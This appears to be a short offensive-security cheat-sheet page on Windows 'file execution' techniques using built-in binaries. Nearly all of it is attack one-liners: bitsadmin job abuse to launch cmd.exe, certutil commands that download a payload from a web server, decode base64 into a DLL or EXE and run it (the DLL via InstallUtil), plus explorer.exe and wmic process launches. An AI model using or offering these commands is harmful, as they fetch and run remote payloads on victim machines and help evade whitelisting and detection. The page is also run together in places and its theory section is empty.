File Executions
Theory
Practice
#Execute a file
#One-liner that creates a bitsadmin job named 1, add cmd.exe to the job, configure the job to run the target command, then resume and complete the job.
bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\playfolder\cmd.exe & bitsadmin /SetNotifyCmdLine 1 c:\data\playfolder\cmd.exe NULL & bitsadmin /RESUME 1 & bitsadmin /Reset# Ddownload files:
certutil -urlcache -split -f http://webserver/payload payload
# Execute a specific .dll (b64 encoded):
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
# Execute an .exe (b64 encoded):
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe#Create a child process of explorer.exe
explorer.exe /root,"C:\Windows\System32\calc.exe"#Execute calc.exe
wmic.exe process call create calcReferences
Last updated